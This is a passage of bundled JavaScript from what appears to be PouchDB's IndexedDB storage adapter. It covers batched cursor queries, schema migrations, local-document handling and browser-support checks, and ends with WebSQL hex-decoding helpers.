var putReq = attachStore.put(newAtt); putReq.onsuccess = callback; }; } } // Abstraction over IDBCursor and getAll()/getAllKeys() that allows us to batch our operations // while falling back to a normal IDBCursor operation on browsers that don't support getAll() or // getAllKeys(). This allows for a much faster implementation than just straight-up cursors, because // we're not processing each document one-at-a-time. function runBatchedCursor(objectStore, keyRange, descending, batchSize, onBatch) { // Bail out of getAll()/getAllKeys() in the following cases: // 1) either method is unsupported - we need both // 2) batchSize is 1 (might as well use IDBCursor), or batchSize is -1 (i.e. batchSize unlimited, // not really clear the user wants a batched approach where the entire DB is read into memory, // perhaps they are filtering on a per-doc basis) // 3) descending – no real way to do this via getAll()/getAllKeys() var useGetAll = typeof objectStore.getAll === 'function' && typeof objectStore.getAllKeys === 'function' && batchSize > 1 && !descending; var keysBatch; var valuesBatch; var pseudoCursor; function onGetAll(e) { valuesBatch = e.target.result; if (keysBatch) { onBatch(keysBatch, valuesBatch, pseudoCursor); } } function onGetAllKeys(e) { keysBatch = e.target.result; if (valuesBatch) { onBatch(keysBatch, valuesBatch, pseudoCursor); } } function continuePseudoCursor() { if (!keysBatch.length) { // no more results return onBatch(); } // fetch next batch, exclusive start var lastKey = keysBatch[keysBatch.length - 1]; var newKeyRange; if (keyRange && keyRange.upper) { try { newKeyRange = IDBKeyRange.bound(lastKey, keyRange.upper, true, keyRange.upperOpen); } catch (e) { if (e.name === "DataError" && e.code === 0) { return onBatch(); // we're done, startkey and endkey are equal } } } else { newKeyRange = IDBKeyRange.lowerBound(lastKey, true); } keyRange = newKeyRange; keysBatch = null; valuesBatch = null; objectStore.getAll(keyRange, batchSize).onsuccess = onGetAll; objectStore.getAllKeys(keyRange, batchSize).onsuccess = onGetAllKeys; } function onCursor(e) { var cursor = e.target.result; if (!cursor) { // done return onBatch(); } // regular IDBCursor acts like a batch where batch size is always 1 onBatch([cursor.key], [cursor.value], cursor); } if (useGetAll) { pseudoCursor = {"continue": continuePseudoCursor}; objectStore.getAll(keyRange, batchSize).onsuccess = onGetAll; objectStore.getAllKeys(keyRange, batchSize).onsuccess = onGetAllKeys; } else if (descending) { objectStore.openCursor(keyRange, 'prev').onsuccess = onCursor; } else { objectStore.openCursor(keyRange).onsuccess = onCursor; } } // simple shim for objectStore.getAll(), falling back to IDBCursor function getAll(objectStore, keyRange, onSuccess) { if (typeof objectStore.getAll === 'function') { // use native getAll objectStore.getAll(keyRange).onsuccess = onSuccess; return; } // fall back to cursors var values = []; function onCursor(e) { var cursor = e.target.result; if (cursor) { values.push(cursor.value); cursor.continue(); } else { onSuccess({ target: { result: values } }); } } objectStore.openCursor(keyRange).onsuccess = onCursor; } function createKeyRange(start, end, inclusiveEnd, key, descending) { try { if (start && end) { if (descending) { return IDBKeyRange.bound(end, start, !inclusiveEnd, false); } else { return IDBKeyRange.bound(start, end, false, !inclusiveEnd); } } else if (start) { if (descending) { return IDBKeyRange.upperBound(start); } else { return IDBKeyRange.lowerBound(start); } } else if (end) { if (descending) { return IDBKeyRange.lowerBound(end, !inclusiveEnd); } else { return IDBKeyRange.upperBound(end, !inclusiveEnd); } } else if (key) { return IDBKeyRange.only(key); } } catch (e) { return {error: e}; } return null; } function idbAllDocs(opts, idb, callback) { var start = 'startkey' in opts ? opts.startkey : false; var end = 'endkey' in opts ? opts.endkey : false; var key = 'key' in opts ? opts.key : false; var skip = opts.skip || 0; var limit = typeof opts.limit === 'number' ? opts.limit : -1; var inclusiveEnd = opts.inclusive_end !== false; var keyRange = createKeyRange(start, end, inclusiveEnd, key, opts.descending); var keyRangeError = keyRange && keyRange.error; if (keyRangeError && !(keyRangeError.name === "DataError" && keyRangeError.code === 0)) { // DataError with error code 0 indicates start is less than end, so // can just do an empty query. Else need to throw return callback(createError(IDB_ERROR, keyRangeError.name, keyRangeError.message)); } var stores = [DOC_STORE, BY_SEQ_STORE, META_STORE]; if (opts.attachments) { stores.push(ATTACH_STORE); } var txnResult = openTransactionSafely(idb, stores, 'readonly'); if (txnResult.error) { return callback(txnResult.error); } var txn = txnResult.txn; txn.oncomplete = onTxnComplete; txn.onabort = idbError(callback); var docStore = txn.objectStore(DOC_STORE); var seqStore = txn.objectStore(BY_SEQ_STORE); var metaStore = txn.objectStore(META_STORE); var docIdRevIndex = seqStore.index('_doc_id_rev'); var results = []; var docCount; metaStore.get(META_STORE).onsuccess = function (e) { docCount = e.target.result.docCount; }; // if the user specifies include_docs=true, then we don't // want to block the main cursor while we're fetching the doc function fetchDocAsynchronously(metadata, row, winningRev$$1) { var key = metadata.id + "::" + winningRev$$1; docIdRevIndex.get(key).onsuccess = function onGetDoc(e) { row.doc = decodeDoc(e.target.result); if (opts.conflicts) { var conflicts = collectConflicts(metadata); if (conflicts.length) { row.doc._conflicts = conflicts; } } fetchAttachmentsIfNecessary(row.doc, opts, txn); }; } function allDocsInner(winningRev$$1, metadata) { var row = { id: metadata.id, key: metadata.id, value: { rev: winningRev$$1 } }; var deleted = metadata.deleted; if (opts.deleted === 'ok') { results.push(row); // deleted docs are okay with "keys" requests if (deleted) { row.value.deleted = true; row.doc = null; } else if (opts.include_docs) { fetchDocAsynchronously(metadata, row, winningRev$$1); } } else if (!deleted && skip-- <= 0) { results.push(row); if (opts.include_docs) { fetchDocAsynchronously(metadata, row, winningRev$$1); } } } function processBatch(batchValues) { for (var i = 0, len = batchValues.length; i < len; i++) { if (results.length === limit) { break; } var batchValue = batchValues[i]; var metadata = decodeMetadata(batchValue); var winningRev$$1 = metadata.winningRev; allDocsInner(winningRev$$1, metadata); } } function onBatch(batchKeys, batchValues, cursor) { if (!cursor) { return; } processBatch(batchValues); if (results.length < limit) { cursor.continue(); } } function onGetAll(e) { var values = e.target.result; if (opts.descending) { values = values.reverse(); } processBatch(values); } function onResultsReady() { callback(null, { total_rows: docCount, offset: opts.skip, rows: results }); } function onTxnComplete() { if (opts.attachments) { postProcessAttachments(results, opts.binary).then(onResultsReady); } else { onResultsReady(); } } // don't bother doing any requests if start > end or limit === 0 if (keyRangeError || limit === 0) { return; } if (limit === -1) { // just fetch everything return getAll(docStore, keyRange, onGetAll); } // else do a cursor // choose a batch size based on the skip, since we'll need to skip that many runBatchedCursor(docStore, keyRange, opts.descending, limit + skip, onBatch); } // // Blobs are not supported in all versions of IndexedDB, notably // Chrome <37 and Android <5. In those versions, storing a blob will throw. // // Various other blob bugs exist in Chrome v37-42 (inclusive). // Detecting them is expensive and confusing to users, and Chrome 37-42 // is at very low usage worldwide, so we do a hacky userAgent check instead. // // content-type bug: https://code.google.com/p/chromium/issues/detail?id=408120 // 404 bug: https://code.google.com/p/chromium/issues/detail?id=447916 // FileReader bug: https://code.google.com/p/chromium/issues/detail?id=447836 // function checkBlobSupport(txn) { return new PouchPromise$1(function (resolve) { var blob = createBlob(['']); var req = txn.objectStore(DETECT_BLOB_SUPPORT_STORE).put(blob, 'key'); req.onsuccess = function () { var matchedChrome = navigator.userAgent.match(/Chrome\/(\d+)/); var matchedEdge = navigator.userAgent.match(/Edge\//); // MS Edge pretends to be Chrome 42: // https://msdn.microsoft.com/en-us/library/hh869301%28v=vs.85%29.aspx resolve(matchedEdge || !matchedChrome || parseInt(matchedChrome[1], 10) >= 43); }; txn.onabort = function (e) { // If the transaction aborts now its due to not being able to // write to the database, likely due to the disk being full e.preventDefault(); e.stopPropagation(); resolve(false); }; }).catch(function () { return false; // error, so assume unsupported }); } function countDocs(txn, cb) { var index = txn.objectStore(DOC_STORE).index('deletedOrLocal'); index.count(IDBKeyRange.only('0')).onsuccess = function (e) { cb(e.target.result); }; } // This task queue ensures that IDB open calls are done in their own tick // and sequentially - i.e. we wait for the async IDB open to *fully* complete // before calling the next one. This works around IE/Edge race conditions in IDB. var running = false; var queue = []; function tryCode(fun, err, res, PouchDB) { try { fun(err, res); } catch (err) { // Shouldn't happen, but in some odd cases // IndexedDB implementations might throw a sync // error, in which case this will at least log it. PouchDB.emit('error', err); } } function applyNext() { if (running || !queue.length) { return; } running = true; queue.shift()(); } function enqueueTask(action, callback, PouchDB) { queue.push(function runAction() { action(function runCallback(err, res) { tryCode(callback, err, res, PouchDB); running = false; nextTick(function runNext() { applyNext(PouchDB); }); }); }); applyNext(); } function changes(opts, api, dbName, idb) { opts = clone(opts); if (opts.continuous) { var id = dbName + ':' + uuid(); changesHandler.addListener(dbName, id, api, opts); changesHandler.notify(dbName); return { cancel: function () { changesHandler.removeListener(dbName, id); } }; } var docIds = opts.doc_ids && new ExportedSet(opts.doc_ids); opts.since = opts.since || 0; var lastSeq = opts.since; var limit = 'limit' in opts ? opts.limit : -1; if (limit === 0) { limit = 1; // per CouchDB _changes spec } var returnDocs; if ('return_docs' in opts) { returnDocs = opts.return_docs; } else if ('returnDocs' in opts) { // TODO: Remove 'returnDocs' in favor of 'return_docs' in a future release returnDocs = opts.returnDocs; } else { returnDocs = true; } var results = []; var numResults = 0; var filter = filterChange(opts); var docIdsToMetadata = new ExportedMap(); var txn; var bySeqStore; var docStore; var docIdRevIndex; function onBatch(batchKeys, batchValues, cursor) { if (!cursor || !batchKeys.length) { // done return; } var winningDocs = new Array(batchKeys.length); var metadatas = new Array(batchKeys.length); function processMetadataAndWinningDoc(metadata, winningDoc) { var change = opts.processChange(winningDoc, metadata, opts); lastSeq = change.seq = metadata.seq; var filtered = filter(change); if (typeof filtered === 'object') { // anything but true/false indicates error return opts.complete(filtered); } if (filtered) { numResults++; if (returnDocs) { results.push(change); } // process the attachment immediately // for the benefit of live listeners if (opts.attachments && opts.include_docs) { fetchAttachmentsIfNecessary(winningDoc, opts, txn, function () { postProcessAttachments([change], opts.binary).then(function () { opts.onChange(change); }); }); } else { opts.onChange(change); } } } function onBatchDone() { for (var i = 0, len = winningDocs.length; i < len; i++) { if (numResults === limit) { break; } var winningDoc = winningDocs[i]; if (!winningDoc) { continue; } var metadata = metadatas[i]; processMetadataAndWinningDoc(metadata, winningDoc); } if (numResults !== limit) { cursor.continue(); } } // Fetch all metadatas/winningdocs from this batch in parallel, then process // them all only once all data has been collected. This is done in parallel // because it's faster than doing it one-at-a-time. var numDone = 0; batchValues.forEach(function (value, i) { var doc = decodeDoc(value); var seq = batchKeys[i]; fetchWinningDocAndMetadata(doc, seq, function (metadata, winningDoc) { metadatas[i] = metadata; winningDocs[i] = winningDoc; if (++numDone === batchKeys.length) { onBatchDone(); } }); }); } function onGetMetadata(doc, seq, metadata, cb) { if (metadata.seq !== seq) { // some other seq is later return cb(); } if (metadata.winningRev === doc._rev) { // this is the winning doc return cb(metadata, doc); } // fetch winning doc in separate request var docIdRev = doc._id + '::' + metadata.winningRev; var req = docIdRevIndex.get(docIdRev); req.onsuccess = function (e) { cb(metadata, decodeDoc(e.target.result)); }; } function fetchWinningDocAndMetadata(doc, seq, cb) { if (docIds && !docIds.has(doc._id)) { return cb(); } var metadata = docIdsToMetadata.get(doc._id); if (metadata) { // cached return onGetMetadata(doc, seq, metadata, cb); } // metadata not cached, have to go fetch it docStore.get(doc._id).onsuccess = function (e) { metadata = decodeMetadata(e.target.result); docIdsToMetadata.set(doc._id, metadata); onGetMetadata(doc, seq, metadata, cb); }; } function finish() { opts.complete(null, { results: results, last_seq: lastSeq }); } function onTxnComplete() { if (!opts.continuous && opts.attachments) { // cannot guarantee that postProcessing was already done, // so do it again postProcessAttachments(results).then(finish); } else { finish(); } } var objectStores = [DOC_STORE, BY_SEQ_STORE]; if (opts.attachments) { objectStores.push(ATTACH_STORE); } var txnResult = openTransactionSafely(idb, objectStores, 'readonly'); if (txnResult.error) { return opts.complete(txnResult.error); } txn = txnResult.txn; txn.onabort = idbError(opts.complete); txn.oncomplete = onTxnComplete; bySeqStore = txn.objectStore(BY_SEQ_STORE); docStore = txn.objectStore(DOC_STORE); docIdRevIndex = bySeqStore.index('_doc_id_rev'); var keyRange = (opts.since && !opts.descending) ? IDBKeyRange.lowerBound(opts.since, true) : null; runBatchedCursor(bySeqStore, keyRange, opts.descending, limit, onBatch); } var cachedDBs = new ExportedMap(); var blobSupportPromise; var openReqList = new ExportedMap(); function IdbPouch(opts, callback) { var api = this; enqueueTask(function (thisCallback) { init(api, opts, thisCallback); }, callback, api.constructor); } function init(api, opts, callback) { var dbName = opts.name; var idb = null; api._meta = null; // called when creating a fresh new database function createSchema(db) { var docStore = db.createObjectStore(DOC_STORE, {keyPath : 'id'}); db.createObjectStore(BY_SEQ_STORE, {autoIncrement: true}) .createIndex('_doc_id_rev', '_doc_id_rev', {unique: true}); db.createObjectStore(ATTACH_STORE, {keyPath: 'digest'}); db.createObjectStore(META_STORE, {keyPath: 'id', autoIncrement: false}); db.createObjectStore(DETECT_BLOB_SUPPORT_STORE); // added in v2 docStore.createIndex('deletedOrLocal', 'deletedOrLocal', {unique : false}); // added in v3 db.createObjectStore(LOCAL_STORE, {keyPath: '_id'}); // added in v4 var attAndSeqStore = db.createObjectStore(ATTACH_AND_SEQ_STORE, {autoIncrement: true}); attAndSeqStore.createIndex('seq', 'seq'); attAndSeqStore.createIndex('digestSeq', 'digestSeq', {unique: true}); } // migration to version 2 // unfortunately "deletedOrLocal" is a misnomer now that we no longer // store local docs in the main doc-store, but whaddyagonnado function addDeletedOrLocalIndex(txn, callback) { var docStore = txn.objectStore(DOC_STORE); docStore.createIndex('deletedOrLocal', 'deletedOrLocal', {unique : false}); docStore.openCursor().onsuccess = function (event) { var cursor = event.target.result; if (cursor) { var metadata = cursor.value; var deleted = isDeleted(metadata); metadata.deletedOrLocal = deleted ? "1" : "0"; docStore.put(metadata); cursor.continue(); } else { callback(); } }; } // migration to version 3 (part 1) function createLocalStoreSchema(db) { db.createObjectStore(LOCAL_STORE, {keyPath: '_id'}) .createIndex('_doc_id_rev', '_doc_id_rev', {unique: true}); } // migration to version 3 (part 2) function migrateLocalStore(txn, cb) { var localStore = txn.objectStore(LOCAL_STORE); var docStore = txn.objectStore(DOC_STORE); var seqStore = txn.objectStore(BY_SEQ_STORE); var cursor = docStore.openCursor(); cursor.onsuccess = function (event) { var cursor = event.target.result; if (cursor) { var metadata = cursor.value; var docId = metadata.id; var local = isLocalId(docId); var rev$$1 = winningRev(metadata); if (local) { var docIdRev = docId + "::" + rev$$1; // remove all seq entries // associated with this docId var start = docId + "::"; var end = docId + "::~"; var index = seqStore.index('_doc_id_rev'); var range = IDBKeyRange.bound(start, end, false, false); var seqCursor = index.openCursor(range); seqCursor.onsuccess = function (e) { seqCursor = e.target.result; if (!seqCursor) { // done docStore.delete(cursor.primaryKey); cursor.continue(); } else { var data = seqCursor.value; if (data._doc_id_rev === docIdRev) { localStore.put(data); } seqStore.delete(seqCursor.primaryKey); seqCursor.continue(); } }; } else { cursor.continue(); } } else if (cb) { cb(); } }; } // migration to version 4 (part 1) function addAttachAndSeqStore(db) { var attAndSeqStore = db.createObjectStore(ATTACH_AND_SEQ_STORE, {autoIncrement: true}); attAndSeqStore.createIndex('seq', 'seq'); attAndSeqStore.createIndex('digestSeq', 'digestSeq', {unique: true}); } // migration to version 4 (part 2) function migrateAttsAndSeqs(txn, callback) { var seqStore = txn.objectStore(BY_SEQ_STORE); var attStore = txn.objectStore(ATTACH_STORE); var attAndSeqStore = txn.objectStore(ATTACH_AND_SEQ_STORE); // need to actually populate the table. this is the expensive part, // so as an optimization, check first that this database even // contains attachments var req = attStore.count(); req.onsuccess = function (e) { var count = e.target.result; if (!count) { return callback(); // done } seqStore.openCursor().onsuccess = function (e) { var cursor = e.target.result; if (!cursor) { return callback(); // done } var doc = cursor.value; var seq = cursor.primaryKey; var atts = Object.keys(doc._attachments || {}); var digestMap = {}; for (var j = 0; j < atts.length; j++) { var att = doc._attachments[atts[j]]; digestMap[att.digest] = true; // uniq digests, just in case } var digests = Object.keys(digestMap); for (j = 0; j < digests.length; j++) { var digest = digests[j]; attAndSeqStore.put({ seq: seq, digestSeq: digest + '::' + seq }); } cursor.continue(); }; }; } // migration to version 5 // Instead of relying on on-the-fly migration of metadata, // this brings the doc-store to its modern form: // - metadata.winningrev // - metadata.seq // - stringify the metadata when storing it function migrateMetadata(txn) { function decodeMetadataCompat(storedObject) { if (!storedObject.data) { // old format, when we didn't store it stringified storedObject.deleted = storedObject.deletedOrLocal === '1'; return storedObject; } return decodeMetadata(storedObject); } // ensure that every metadata has a winningRev and seq, // which was previously created on-the-fly but better to migrate var bySeqStore = txn.objectStore(BY_SEQ_STORE); var docStore = txn.objectStore(DOC_STORE); var cursor = docStore.openCursor(); cursor.onsuccess = function (e) { var cursor = e.target.result; if (!cursor) { return; // done } var metadata = decodeMetadataCompat(cursor.value); metadata.winningRev = metadata.winningRev || winningRev(metadata); function fetchMetadataSeq() { // metadata.seq was added post-3.2.0, so if it's missing, // we need to fetch it manually var start = metadata.id + '::'; var end = metadata.id + '::\uffff'; var req = bySeqStore.index('_doc_id_rev').openCursor( IDBKeyRange.bound(start, end)); var metadataSeq = 0; req.onsuccess = function (e) { var cursor = e.target.result; if (!cursor) { metadata.seq = metadataSeq; return onGetMetadataSeq(); } var seq = cursor.primaryKey; if (seq > metadataSeq) { metadataSeq = seq; } cursor.continue(); }; } function onGetMetadataSeq() { var metadataToStore = encodeMetadata(metadata, metadata.winningRev, metadata.deleted); var req = docStore.put(metadataToStore); req.onsuccess = function () { cursor.continue(); }; } if (metadata.seq) { return onGetMetadataSeq(); } fetchMetadataSeq(); }; } api._remote = false; api.type = function () { return 'idb'; }; api._id = toPromise(function (callback) { callback(null, api._meta.instanceId); }); api._bulkDocs = function idb_bulkDocs(req, reqOpts, callback) { idbBulkDocs(opts, req, reqOpts, api, idb, callback); }; // First we look up the metadata in the ids database, then we fetch the // current revision(s) from the by sequence store api._get = function idb_get(id, opts, callback) { var doc; var metadata; var err; var txn = opts.ctx; if (!txn) { var txnResult = openTransactionSafely(idb, [DOC_STORE, BY_SEQ_STORE, ATTACH_STORE], 'readonly'); if (txnResult.error) { return callback(txnResult.error); } txn = txnResult.txn; } function finish() { callback(err, {doc: doc, metadata: metadata, ctx: txn}); } txn.objectStore(DOC_STORE).get(id).onsuccess = function (e) { metadata = decodeMetadata(e.target.result); // we can determine the result here if: // 1. there is no such document // 2. the document is deleted and we don't ask about specific rev // When we ask with opts.rev we expect the answer to be either // doc (possibly with _deleted=true) or missing error if (!metadata) { err = createError(MISSING_DOC, 'missing'); return finish(); } var rev$$1; if (!opts.rev) { rev$$1 = metadata.winningRev; var deleted = isDeleted(metadata); if (deleted) { err = createError(MISSING_DOC, "deleted"); return finish(); } } else { rev$$1 = opts.latest ? latest(opts.rev, metadata) : opts.rev; } var objectStore = txn.objectStore(BY_SEQ_STORE); var key = metadata.id + '::' + rev$$1; objectStore.index('_doc_id_rev').get(key).onsuccess = function (e) { doc = e.target.result; if (doc) { doc = decodeDoc(doc); } if (!doc) { err = createError(MISSING_DOC, 'missing'); return finish(); } finish(); }; }; }; api._getAttachment = function (docId, attachId, attachment, opts, callback) { var txn; if (opts.ctx) { txn = opts.ctx; } else { var txnResult = openTransactionSafely(idb, [DOC_STORE, BY_SEQ_STORE, ATTACH_STORE], 'readonly'); if (txnResult.error) { return callback(txnResult.error); } txn = txnResult.txn; } var digest = attachment.digest; var type = attachment.content_type; txn.objectStore(ATTACH_STORE).get(digest).onsuccess = function (e) { var body = e.target.result.body; readBlobData(body, type, opts.binary, function (blobData) { callback(null, blobData); }); }; }; api._info = function idb_info(callback) { var updateSeq; var docCount; var txnResult = openTransactionSafely(idb, [META_STORE, BY_SEQ_STORE], 'readonly'); if (txnResult.error) { return callback(txnResult.error); } var txn = txnResult.txn; txn.objectStore(META_STORE).get(META_STORE).onsuccess = function (e) { docCount = e.target.result.docCount; }; txn.objectStore(BY_SEQ_STORE).openCursor(null, 'prev').onsuccess = function (e) { var cursor = e.target.result; updateSeq = cursor ? cursor.key : 0; }; txn.oncomplete = function () { callback(null, { doc_count: docCount, update_seq: updateSeq, // for debugging idb_attachment_format: (api._meta.blobSupport ? 'binary' : 'base64') }); }; }; api._allDocs = function idb_allDocs(opts, callback) { idbAllDocs(opts, idb, callback); }; api._changes = function idbChanges(opts) { return changes(opts, api, dbName, idb); }; api._close = function (callback) { // https://developer.mozilla.org/en-US/docs/IndexedDB/IDBDatabase#close // "Returns immediately and closes the connection in a separate thread..." idb.close(); cachedDBs.delete(dbName); callback(); }; api._getRevisionTree = function (docId, callback) { var txnResult = openTransactionSafely(idb, [DOC_STORE], 'readonly'); if (txnResult.error) { return callback(txnResult.error); } var txn = txnResult.txn; var req = txn.objectStore(DOC_STORE).get(docId); req.onsuccess = function (event) { var doc = decodeMetadata(event.target.result); if (!doc) { callback(createError(MISSING_DOC)); } else { callback(null, doc.rev_tree); } }; }; // This function removes revisions of document docId // which are listed in revs and sets this document // revision to to rev_tree api._doCompaction = function (docId, revs, callback) { var stores = [ DOC_STORE, BY_SEQ_STORE, ATTACH_STORE, ATTACH_AND_SEQ_STORE ]; var txnResult = openTransactionSafely(idb, stores, 'readwrite'); if (txnResult.error) { return callback(txnResult.error); } var txn = txnResult.txn; var docStore = txn.objectStore(DOC_STORE); docStore.get(docId).onsuccess = function (event) { var metadata = decodeMetadata(event.target.result); traverseRevTree(metadata.rev_tree, function (isLeaf, pos, revHash, ctx, opts) { var rev$$1 = pos + '-' + revHash; if (revs.indexOf(rev$$1) !== -1) { opts.status = 'missing'; } }); compactRevs(revs, docId, txn); var winningRev$$1 = metadata.winningRev; var deleted = metadata.deleted; txn.objectStore(DOC_STORE).put( encodeMetadata(metadata, winningRev$$1, deleted)); }; txn.onabort = idbError(callback); txn.oncomplete = function () { callback(); }; }; api._getLocal = function (id, callback) { var txnResult = openTransactionSafely(idb, [LOCAL_STORE], 'readonly'); if (txnResult.error) { return callback(txnResult.error); } var tx = txnResult.txn; var req = tx.objectStore(LOCAL_STORE).get(id); req.onerror = idbError(callback); req.onsuccess = function (e) { var doc = e.target.result; if (!doc) { callback(createError(MISSING_DOC)); } else { delete doc['_doc_id_rev']; // for backwards compat callback(null, doc); } }; }; api._putLocal = function (doc, opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } delete doc._revisions; // ignore this, trust the rev var oldRev = doc._rev; var id = doc._id; if (!oldRev) { doc._rev = '0-1'; } else { doc._rev = '0-' + (parseInt(oldRev.split('-')[1], 10) + 1); } var tx = opts.ctx; var ret; if (!tx) { var txnResult = openTransactionSafely(idb, [LOCAL_STORE], 'readwrite'); if (txnResult.error) { return callback(txnResult.error); } tx = txnResult.txn; tx.onerror = idbError(callback); tx.oncomplete = function () { if (ret) { callback(null, ret); } }; } var oStore = tx.objectStore(LOCAL_STORE); var req; if (oldRev) { req = oStore.get(id); req.onsuccess = function (e) { var oldDoc = e.target.result; if (!oldDoc || oldDoc._rev !== oldRev) { callback(createError(REV_CONFLICT)); } else { // update var req = oStore.put(doc); req.onsuccess = function () { ret = {ok: true, id: doc._id, rev: doc._rev}; if (opts.ctx) { // return immediately callback(null, ret); } }; } }; } else { // new doc req = oStore.add(doc); req.onerror = function (e) { // constraint error, already exists callback(createError(REV_CONFLICT)); e.preventDefault(); // avoid transaction abort e.stopPropagation(); // avoid transaction onerror }; req.onsuccess = function () { ret = {ok: true, id: doc._id, rev: doc._rev}; if (opts.ctx) { // return immediately callback(null, ret); } }; } }; api._removeLocal = function (doc, opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } var tx = opts.ctx; if (!tx) { var txnResult = openTransactionSafely(idb, [LOCAL_STORE], 'readwrite'); if (txnResult.error) { return callback(txnResult.error); } tx = txnResult.txn; tx.oncomplete = function () { if (ret) { callback(null, ret); } }; } var ret; var id = doc._id; var oStore = tx.objectStore(LOCAL_STORE); var req = oStore.get(id); req.onerror = idbError(callback); req.onsuccess = function (e) { var oldDoc = e.target.result; if (!oldDoc || oldDoc._rev !== doc._rev) { callback(createError(MISSING_DOC)); } else { oStore.delete(id); ret = {ok: true, id: id, rev: '0-0'}; if (opts.ctx) { // return immediately callback(null, ret); } } }; }; api._destroy = function (opts, callback) { changesHandler.removeAllListeners(dbName); //Close open request for "dbName" database to fix ie delay. var openReq = openReqList.get(dbName); if (openReq && openReq.result) { openReq.result.close(); cachedDBs.delete(dbName); } var req = indexedDB.deleteDatabase(dbName); req.onsuccess = function () { //Remove open request from the list. openReqList.delete(dbName); if (hasLocalStorage() && (dbName in localStorage)) { delete localStorage[dbName]; } callback(null, { 'ok': true }); }; req.onerror = idbError(callback); }; var cached = cachedDBs.get(dbName); if (cached) { idb = cached.idb; api._meta = cached.global; return nextTick(function () { callback(null, api); }); } var req; if (opts.storage) { req = tryStorageOption(dbName, opts.storage); } else { req = indexedDB.open(dbName, ADAPTER_VERSION); } openReqList.set(dbName, req); req.onupgradeneeded = function (e) { var db = e.target.result; if (e.oldVersion < 1) { return createSchema(db); // new db, initial schema } // do migrations var txn = e.currentTarget.transaction; // these migrations have to be done in this function, before // control is returned to the event loop, because IndexedDB if (e.oldVersion < 3) { createLocalStoreSchema(db); // v2 -> v3 } if (e.oldVersion < 4) { addAttachAndSeqStore(db); // v3 -> v4 } var migrations = [ addDeletedOrLocalIndex, // v1 -> v2 migrateLocalStore, // v2 -> v3 migrateAttsAndSeqs, // v3 -> v4 migrateMetadata // v4 -> v5 ]; var i = e.oldVersion; function next() { var migration = migrations[i - 1]; i++; if (migration) { migration(txn, next); } } next(); }; req.onsuccess = function (e) { idb = e.target.result; idb.onversionchange = function () { idb.close(); cachedDBs.delete(dbName); }; idb.onabort = function (e) { guardedConsole('error', 'Database has a global failure', e.target.error); idb.close(); cachedDBs.delete(dbName); }; // Do a few setup operations (in parallel as much as possible): // 1. Fetch meta doc // 2. Check blob support // 3. Calculate docCount // 4. Generate an instanceId if necessary // 5. Store docCount and instanceId on meta doc var txn = idb.transaction([ META_STORE, DETECT_BLOB_SUPPORT_STORE, DOC_STORE ], 'readwrite'); var storedMetaDoc = false; var metaDoc; var docCount; var blobSupport; var instanceId; function completeSetup() { if (typeof blobSupport === 'undefined' || !storedMetaDoc) { return; } api._meta = { name: dbName, instanceId: instanceId, blobSupport: blobSupport }; cachedDBs.set(dbName, { idb: idb, global: api._meta }); callback(null, api); } function storeMetaDocIfReady() { if (typeof docCount === 'undefined' || typeof metaDoc === 'undefined') { return; } var instanceKey = dbName + '_id'; if (instanceKey in metaDoc) { instanceId = metaDoc[instanceKey]; } else { metaDoc[instanceKey] = instanceId = uuid(); } metaDoc.docCount = docCount; txn.objectStore(META_STORE).put(metaDoc); } // // fetch or generate the instanceId // txn.objectStore(META_STORE).get(META_STORE).onsuccess = function (e) { metaDoc = e.target.result || { id: META_STORE }; storeMetaDocIfReady(); }; // // countDocs // countDocs(txn, function (count) { docCount = count; storeMetaDocIfReady(); }); // // check blob support // if (!blobSupportPromise) { // make sure blob support is only checked once blobSupportPromise = checkBlobSupport(txn); } blobSupportPromise.then(function (val) { blobSupport = val; completeSetup(); }); // only when the metadata put transaction has completed, // consider the setup done txn.oncomplete = function () { storedMetaDoc = true; completeSetup(); }; }; req.onerror = function () { var msg = 'Failed to open indexedDB, are you in private browsing mode?'; guardedConsole('error', msg); callback(createError(IDB_ERROR, msg)); }; } IdbPouch.valid = function () { // Issue #2533, we finally gave up on doing bug // detection instead of browser sniffing. Safari brought us // to our knees. var isSafari = typeof openDatabase !== 'undefined' && /(Safari|iPhone|iPad|iPod)/.test(navigator.userAgent) && !/Chrome/.test(navigator.userAgent) && !/BlackBerry/.test(navigator.platform); // some outdated implementations of IDB that appear on Samsung // and HTC Android devices <4.4 are missing IDBKeyRange return !isSafari && typeof indexedDB !== 'undefined' && typeof IDBKeyRange !== 'undefined'; }; function tryStorageOption(dbName, storage) { try { // option only available in Firefox 26+ return indexedDB.open(dbName, { version: ADAPTER_VERSION, storage: storage }); } catch (err) { return indexedDB.open(dbName, ADAPTER_VERSION); } } var IDBPouch = function (PouchDB) { PouchDB.adapter('idb', IdbPouch, true); }; // // Parsing hex strings. Yeah. // // So basically we need this because of a bug in WebSQL: // https://code.google.com/p/chromium/issues/detail?id=422690 // https://bugs.webkit.org/show_bug.cgi?id=137637 // // UTF-8 and UTF-16 are provided as separate functions // for meager performance improvements // function decodeUtf8(str) { return decodeURIComponent(escape(str)); } function hexToInt(charCode) { // '0'-'9' is 48-57 // 'A'-'F' is 65-70 // SQLite will only give us uppercase hex return charCode < 65 ? (charCode - 48) : (charCode - 55); } // Example: // pragma encoding=utf8; // select hex('A'); // returns '41' function parseHexUtf8(str, start, end) { var result = ''; while (start < end) { result += String.fromCharCode( (hexToInt(str.charCodeAt(start++)) << 4) | hexToInt(str.charCodeAt(start++))); } return result; } // Example: // pragma encoding=utf16; // select hex('A'); // returns '4100' // notice that the 00 comes after the 41 (i.e. it's swizzled) function parseHexUtf16(str, start, end) { var result = ''; while (start < end) { // UTF-16, so swizzle the bytes result += String.fromCharCode( (hexToInt(str.charCodeAt(start + 2)) << 12) | (hexToInt(str.charCodeAt(start + 3)) << 8) | (hexToInt(str.charCodeAt(start)) << 4) | hexToInt(str.charCodeAt(start + 1))); start += 4; } return result; } function parseHexString(str, encoding) { if (encoding === 'UTF-8') { return decodeUtf8(parseHexUtf8(str, 0, str.length)); } else { return parseHexUtf16(str, 0, str.length); } } function quote(str) { return "'" + str + "'"; } var ADAPTER_VERSION$1 = 7; // used to manage migrations // The object stores created for each database // DOC_STORE stores the document meta data, its revision history and state var DOC_STORE$1 = quote('document-store'); // BY_SEQ_STORE stores a particular version of a document, keyed by its // sequence id var BY_SEQ_STORE$1 = quote('by-sequence'); // Where we store attachments var ATTACH_STORE$1 = quote('attach-store'); var LOCAL_STORE$1 = quote('local-store'); var META_STORE$1 = quote('metadata-store'); // where we store many-to-many relations between attachment // digests and seqs var ATTACH_AND_SEQ_STORE$1 = quote('attach-seq-store'); // escapeBlob and unescapeBlob are 